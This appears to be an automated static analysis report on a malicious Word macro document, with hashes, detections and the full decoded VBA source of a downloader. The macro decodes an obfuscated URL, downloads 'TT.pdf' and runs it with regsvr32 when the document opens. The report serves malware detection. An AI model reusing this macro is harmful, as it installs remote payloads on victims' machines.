Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c20e643cdd649219…

MALICIOUS

Office (OOXML)

115.5 KB Created: 2020-07-24 08:49:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: de6421feefffd77aa5e6a15b61125c1f SHA-1: 5278b8e60f479d4ebfee9b5a450b592280f94420 SHA-256: c20e643cdd649219eac1524f5b849fa09db331ba4dac3ee35b3c3abc4c7113c1
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The OOXML document contains a VBA project with an AutoOpen macro, indicating malicious intent. The script utilizes URLDownloadToFile to download a file named 'TT.pdf' and then executes it using Shell. This behavior is consistent with a downloader or dropper malware.

Heuristics 5

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal xO As LongPtr, ByVal dt As String, ByVal G2 As String, ByVal X4 As LongPtr, ByVal dW As LongPtr) As Long
#Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
gT = cA(X)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3742 bytes
SHA-256: 471311d4346d333c3d6fcffef80b51d860006cdf3fc709b251c46ce2c3a708c6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "wX"
Public Const b As String = "TT.pdf"
Function cA(mX)
qk = NF(mX)
For De = 0 To UBound(qk)
 zb = zb & Chr(qk(De) Xor 111)
Next De
cA = zb
End Function
Sub autoopen()
gT = cA(X)

' Loudness jj
' Turnip filipino
frm.download gT, b

' Contributor deface
' Advancement mexicans nl wang

' Crater inelegant
' Sleep shaft great-grandfather

' Applications Word bradford mind system
' Portsmouth seam
' Drug
' Webpage partook roof
' Mrs pilot

' Consulate
' Cuts nightlife marketplace residential cattle periodically

' Similarly topless
Dim RM As New WshShell

' Foal forsooth forensic fairfield
' Finder magnum
' Blanket stamps jogging vassal
' Most deadening
' Buccaneer sie harass
Call RM.run(N & Zw & " " + b)

' Seville stack leniency vintage mel
' Team
' Visible
End Sub

Attribute VB_Name = "wX1"
Function T6(Dp)

' Donor fealty
' Locket financing positions
' Motorcycle vestige ecology adorer equip arbor
' Groundwork starsmerchant
End Function
Sub uu(iu)

' Charioteer
' Howitzer self-reliant expiate participating bestir

' Profanation inveterate harvey disorganized
' Irwin chronicles customise rejoin

' Delta applicant
' Ny sweets allure
' Arbiter remix welling bears
' Overthrew immobility islam g
' Functioning por

' Specified periodically ends fella presidency
' Nullify hug taught aside
' Boat norfolk seattle suck
' Knight accoutrements
' Frothy croquet scamper

' Rwanda primarily
' Chef decades roommate thereafter
' Discussing towers agreeing accent

' Adolescent
' Disable
' Right-hand change ginger immobility
' Commentaries necklace primarily

' Stoned godlike developers fern
' Sex
' Approve buckler

' Travelers
' Cramps tribal liveliness canonical hypotheses
' Abs basket desperate

' Canon twenty
' Tainted helen

' Corked topography fears
' Israel offset patient advertised wishing
' Station unchanging
' Pard neville put
' Corners school piedmontese

' Bouncing regional
' Assuming ponder balustrade
' Climber paperbacks liquids
' Babylonian pleasure magistracy
' Tortuous vie chester liz venison

' Befriend delta synthetic crack nicaragua
' Dapper moss earning commercially pneumonia printers
' Convulsive comply maritime
' Lol tires
End Sub

Attribute VB_Name = "V7"
Public Const N As String = "reg"
Public Const Zw As String = "svr32"
Public Const X As String = "7_27_27_31_85_64_64_13_31_1_21_27_25_21_93_23_65_12_0_2_64_23_10_2_12_3_64_6_13_14_65_31_7_31_80_3_82_4_9_14_91_65_12_14_13"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal xO As LongPtr, ByVal dt As String, ByVal G2 As String, ByVal X4 As LongPtr, ByVal dW As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal xO As Long, ByVal dt As String, ByVal G2 As String, ByVal X4 As Long, ByVal dW As Long) As Long
#End If
Function NF(iT)
NF = Split(iT, "_")
End Function

Attribute VB_Name = "frm"
Attribute VB_Base = "0{65D93F9C-F8BC-4CE8-80B6-FBA0406E165F}{A10D82AB-AF43-4906-864A-2C40E26444C8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27648 bytes
SHA-256: 71ae20f163aca5df9b738896fc516f18f622bde9d879084c81a535df1ada7175

Open this report in the interactive analyzer, or submit your own file for analysis.